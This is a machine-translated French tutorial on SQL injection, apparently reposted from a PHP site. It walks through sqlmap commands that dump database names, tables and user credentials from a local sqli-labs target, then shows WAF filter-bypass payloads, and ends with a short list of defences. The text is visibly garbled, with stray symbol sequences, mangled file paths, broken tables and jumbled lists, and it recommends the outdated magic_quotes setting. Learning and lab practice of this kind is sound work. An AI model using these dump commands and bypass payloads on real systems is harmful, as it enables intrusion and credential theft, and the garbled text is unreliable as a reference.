Maison  >  Article  >  Opération et maintenance  >  Comment analyser la défense contre les injections SQLMap et SQLi

Comment analyser la défense contre les injections SQLMap et SQLi

WBOY
WBOYavant
2023-05-11 18:37:06968parcourir

Partie 1 : Utiliser Sqlmap

1.1 Introduction à sqlmap

1 J'ai déjà mentionné quelques instructions de base sur l'injection SQL, mais l'injection manuelle est très gênante, nous pouvons. utiliser sqlmap Ce puissant outil d'injection SQL est utilisé pour obtenir des données

2 Introduction à sqlmap

(1)#sqlmap est un outil de test d'intrusion open source qui peut détecter automatiquement. et Exploitation des vulnérabilités d'injection SQL et
accès au serveur de la base de données. Il dispose d'un moteur de détection très puissant, d'un testeur d'intrusion doté de multiples fonctionnalités, d'un accès au système de fichiers sous-jacent via l'empreinte digitale de la base de données et l'exécution de commandes via une connexion hors bande.

Site officiel : sqlmap.org

Comment analyser la défense contre les injections SQLMap et SQLi

(2)#Bases de données prises en charge :
MySQL, Oracle, PostgreSQL , Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase et SAP MAXDB.

(3)#Prend en charge plusieurs méthodes d'injection

#injection SQL de requête UNION (injection de requête conjointe)
#Injection SQL basée sur les erreurs (injection basée sur les erreurs) )
#Injection SQL aveugle basée sur des valeurs booléennes (injection booléenne)
#Injection SQL aveugle basée sur le temps (injection temporisée)
#Requêtes empilées Injection SQL (injection de requêtes multi-instructions) #🎜 🎜#

1.2 Installation de sqlmap et construction de l'environnement

1. Principales étapes de l'installation de sqlmap

(1) Installer l'environnement python --->sqlmap nécessite l'environnement python

Adresse de téléchargement Python : https://www.python.org/downloads/release/python-2715/)

Comment analyser la défense contre les injections SQLMap et SQLi#🎜 🎜 # sqlmap est plus compatible avec Python2.

(2) N'installez pas Python sur le chemin chinois et ajoutez Python à la variable d'environnement.

#🎜🎜 #

(3) Téléchargez et installez sqlmap, modifiez le répertoire d'installation en C:UsersAdministratorsqlmapComment analyser la défense contre les injections SQLMap et SQLi

(4) Testez le python environnement : entrez la ligne de commande cmd et entrez # 🎜🎜#python,

Si les invites suivantes, l'installation est réussieComment analyser la défense contre les injections SQLMap et SQLi

C:UsersAdministrator>

python

# 🎜🎜#

Python 2.7.16 #🎜 🎜 #(v2.7.16:413a49145e, 4 mars 2019, 01:37:19) [MSC v.1500 64 bits (AMD64)] sur win32 Type "aide", "copyright", "crédits" ou "licence" pour plus d'informations.

>>> exit(); : Entrez la ligne de commande cmd et entrez sqlmap.py -h (Chemin de la note)

C:UsersAdministratorsqlmap>sqlmap.py -h
#Afficher les informations d'aide

#🎜 🎜 #1.3 Paramètres communs de sqlmap

#(1) Obtenir le nom de la bibliothèque, le nom de la colonne, l'autorisation

# 🎜🎜#

- -dbs #Obtenir toutes les bases de données

Comment analyser la défense contre les injections SQLMap et SQLi

--dbms mysql #Spécifier le type de base de données

--users # Tous les utilisateurs de la base de données (nom d'utilisateur local de la base de données)

  • --mots de passe #Obtenir le mot de passe de la base de données, ( ne peut être lu qu'avec autorisation)

    #🎜 🎜#
  • --technique #Spécifiez quel type d'injection utiliser
  • - -current-db #Base de données actuelle
  • #🎜 🎜#

    --banner #Obtenir l'identification de la base de données
  • -D nom_base de données - -tables #-D est utilisé pour spécifier des données, --tables obtient une certaine bibliothèque La table suivante
  • -D database_name -T table_name --columns #-T spécifie le nom de la table, --columns obtient le champ de la colonne
  • # 🎜🎜#

    -D nom_base de données -T nom_table -C colonne_1, colonne_2 --dump

                                                                                                                                                                                                             # 🎜🎜#- -users #Colonne des utilisateurs de gestion de base de données Lorsque l'utilisateur actuel a l'autorisation de lire la table contenant tous les utilisateurs, tous les utilisateurs de gestion peuvent être répertoriés.
  • --current-user #Utilisateurs pouvant obtenir des données de gestion dans la plupart des bases de données.
  • --is-dba #Déterminez si l'utilisateur actuel est un manager, si c'est le cas, True sera renvoyé.
  • --privileges #Lorsque l'utilisateur actuel a l'autorisation de lire le tableau contenant tous les utilisateurs, il est probable qu'il répertorie les autorisations de chaque utilisateur, et sqlmap vous le dira Qui est le super administrateur de la base de données. Vous pouvez également utiliser le paramètre -U pour spécifier les autorisations de l'utilisateur que vous souhaitez voir.

  • --proxy #Spécifiez un serveur proxy par exemple : –proxy http://local:8080

  • #🎜🎜 #

    #(2) Précisez le suffixe et le suffixe :

    • #sqlmap ne peut pas détecter de nombreux caractères d'interférence, vous pouvez spécifier manuellement le préfixe et le suffixe lors de la fermeture

    • sélectionnez * parmi les utilisateurs où id=((('1'))) et 1=1

    • # - -prefix=PREFIX Injecter le préfixe de la chaîne de charge utile

    • #–suffix=SUFFIX Injecter le suffixe de la chaîne de charge utile
      par exemple : sqlmap -u « www.target.com/index.php?id=1 » -p id -- préfixe "'))"
      --suffixe "AND ('1'='1"

    #(3) Exporter les résultats :

    • sqlmap -u "www.a.com/1.php ? id=1” --file-write=”d:/1.txt”

    • --file-dest=”E:/wwwroot/web/one.php”

    • --batch entièrement automatique

    • --start=numéro de début--stop=numéro de fin

    • --dump Exporter les données

    • --dump-all Exporter toutes les données

    • --purge-output/ -- purge Effacer le répertoire de cache

    • --sql-shell Rebound sqlshell, similaire à l'analyseur de requêtes SQL Chemin par défaut.sqlmap (cliquez sur sqlmap)

    1.4 Exemple pratique de sqlmap

    #Less-1--Less65 déclaration générale ( Ces phrases sont les paramètres les plus couramment utilisés et doivent être comprises)

    #(1) Obtenez tous les noms de bibliothèques
    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less -1? id=1" --dbs --dbms=mysql --batch

    # Analyse :

    -u suivi de url signifie l'url de test

    --dbs signifie obtenir toutes les bases de données

    -- dbms signifie que le le type de base de données spécifié est mysql

    --batch signifie l'obtenir automatiquement

    -D security --tables signifie obtenir le nom de la table de la base de données spécifiée en tant que security

    -D security -T users --columns signifie obtenir le base de données spécifiée comme sécurité Noms de colonnes dans la table des utilisateurs

    -D sécurité -T utilisateurs -C nom d'utilisateur, mot de passe --dump #Obtenir les informations sur les données des champs de nom d'utilisateur et de mot de passe dans la bibliothèque de sécurité, table des utilisateurs, --dump signifie afficher les résultats

    #Résultat :
    [*] challenges
    [*] dvwa
    [*] information_schema
    [*] mysql
    [*] owasp
    [*] performance_schema
    [*] security
    [*] test

    #(2) Obtenez le nom actuel de la bibliothèque
    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
    #Résultat :
    base de données actuelle : 'sécurité'

    #(3) Obtenez le nom de la table actuelle
    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id= 1" -D security --tables -- batch

    #Result:
    Base de données : security
    [4 tables]
    +----------+
    | emails |
    | référents |
    | uagents |
    | utilisateurs |
    +-- --------+


    #(4) Obtenez le nom de la colonne actuelle
    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost /sqli/Less-1?id=1" -D sécurité -T utilisateurs --columns --batch

    #Result:
    Base de données : sécurité
    Tableau : utilisateurs
    [3 colonnes]
    +----- -----+----- ----+
    | Type de colonne |
    +---------+--------------- --+
    | identifiant | int(3) |
    | mot de passe | varchar(20) |
    | nom d'utilisateur |
    +----------+------- ------+

    # (5) Obtenez le contenu du nom d'utilisateur et du mot de passe dans la table des utilisateurs
    C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id =1" -D sécurité -T utilisateurs -C nom d'utilisateur, mot de passe --dump --batch

    #Résultat :
    Base de données : sécurité
    Table : utilisateurs
    [13 entrées]
    +-------- ---+-------------- --+
    | nom d'utilisateur | mot de passe |
    +---------+------------+
    | Dumb | Dumb |
    | Je-tue |
    | Dummy |
    | sécurisé |
    | stupidité |
    | admin | admin |
    | admin1 |
    | admin2 |
    | admin3 |
    | dhakkan |
    | admin4 |
    +--------- ---------+

    ème Partie 2 : Contournement WAF pour l'injection SQL

    2.1 Introduction à la méthode de contournement WAF pour l'injection SQL

    Remarque : Voici uniquement des exemples de méthodes de contournement, le scénario réel est plus compliqué. Plusieurs méthodes de contournement peuvent être mélangées et utilisées.

    1. Après avoir connu la méthode d'injection SQL, comment pouvons-nous empêcher l'injection SQL ? ) Filtrer et ou ou

      #(3) Filtrer la sélection ou l'union
    • #(4) Filtrer la liste noire
    • 2. Quels sont les moyens de contourner le filtre et/ou
    • #( 1) Mysql n'est pas sensible à la casse, peut être exécuté correctement ===>Utiliser la déformation des majuscules et des minuscules
    •  ;
    • #(2) MySQL prend en charge l'hexadécimal, utilisez le codage hexadécimal ou URL

    • #(3) Remplacez les mots par des symboles ===> (4) Commentaires en ligne et commentaires multilignes ===> Ajouter des commentaires a/**/nd Double écriture contourner oORr

    • 3 Bien sûr, il existe d'autres méthodes. Prenons ces méthodes de filtrage comme exemples pour expliquer comment contourner.

    • Il existe des périphériques waf dans des scènes réelles, et waf est en fait filtré par certains mots-clés. pour empêcher l'injection SQL.

    2.2 Expérience waf de contournement d'injection SQL

    1. Caractères de commentaire filtrés (Moins-23 comme exemple)

    #(1) Raison du filtrage des caractères de commentaire : pour du SQL normal Dans l'instruction, le caractère de commentaire joue le rôle d’explication. Cependant, lors du processus d'exploitation des vulnérabilités d'injection SQL, les caractères de commentaire jouent le rôle de guillemets simples fermants, de guillemets simples multiples, de guillemets doubles, de crochets simples et de crochets multiples.

    Commentaire sur une seule ligne : --+ ou --space ou #

    Commentaire sur plusieurs lignes : /* Contenu du commentaire sur plusieurs lignes*/

    #(2) Fonction de filtre preg_replace
    preg_replace(mixed $pattern, Mixed $replacement, Mixed $subject) : effectuez une recherche et un remplacement d'expression régulière.
    $pattern : Le modèle à rechercher, qui peut être une chaîne ou un tableau de chaînes.

    $replacement : La chaîne ou un tableau de chaînes utilisé pour le remplacement.

    $subject : La chaîne cible ou le tableau de chaînes à rechercher et à remplacer.



    #(3) Contournement des caractères de commentaire :

    L'utilisation de caractères de commentaire pour filtrer ne peut pas fermer correctement les guillemets simples, etc., modifier l'idée et utiliser ou '1'='1 pour fermer les guillemets simples, etc. Comment analyser la défense contre les injections SQLMap et SQLihttp://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273



    2. Comment contourner et/ou après le filtrage Réussi ? (Moins-25 comme exemple)

    Comment analyser la défense contre les injections SQLMap et SQLi(1) Analyse du code source : Vous pouvez voir que le ou ou et est remplacé par du vide

    (2) Étapes de fonctionnement

    Comment analyser la défense contre les injections SQLMap et SQLi

    Comment analyser la défense contre les injections SQLMap et SQLi3. Les espaces filtrés devraient être Comment contourner ? (Moins-26 comme exemple)Comment analyser la défense contre les injections SQLMap et SQLiComment analyser la défense contre les injections SQLMap et SQLi(1) Utiliser %0a comme espace

    4. Comment contourner la sélection/union filtrée (Moins-27 comme exemple ? )

    Comment analyser la défense contre les injections SQLMap et SQLi

    Comment analyser la défense contre les injections SQLMap et SQLiComment analyser la défense contre les injections SQLMap et SQLiComment analyser la défense contre les injections SQLMap et SQLi

    Partie 3 : Défense contre les injections SQLComment analyser la défense contre les injections SQLMap et SQLiComment analyser la défense contre les injections SQLMap et SQLi3.1 Méthode de défense contre les injections SQL

    1. Mesures de protection courantes :

    #(1), désactivez les invites d'erreur : display_errors= dans le PHP. fichier de configuration php.ini Off

    #(2), guillemets magiques (même effet que les addlashes) : Lorsque magic_quotes_gpc=On dans php.ini. Tous les guillemets simples ('), les guillemets doubles ("), les barres obliques inverses () et NUL (caractères NULL) dans les variables soumises seront automatiquement convertis en caractères d'échappement contenant des barres obliques inverses

    #(3), et les données seront traitées Filtrage : Pour par exemple, filtrez les mots-clés courants tels que et/ou/union

    #(4), contrôlez les autorisations des utilisateurs pour se connecter à la base de données : chaque bibliothèque définit un administrateur pour une seule bibliothèque, n'utilisez pas les autorisations root.

    #(5), pré-traitement et paramétrage (PDO) : traite les paramètres transmis par l'utilisateur et renvoie une valeur booléenne, au lieu de simplement « épisser » les données, évitant ainsi l'injection SQL.
    #(6), mesures de protection matérielle (WAF et autres matériel)

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer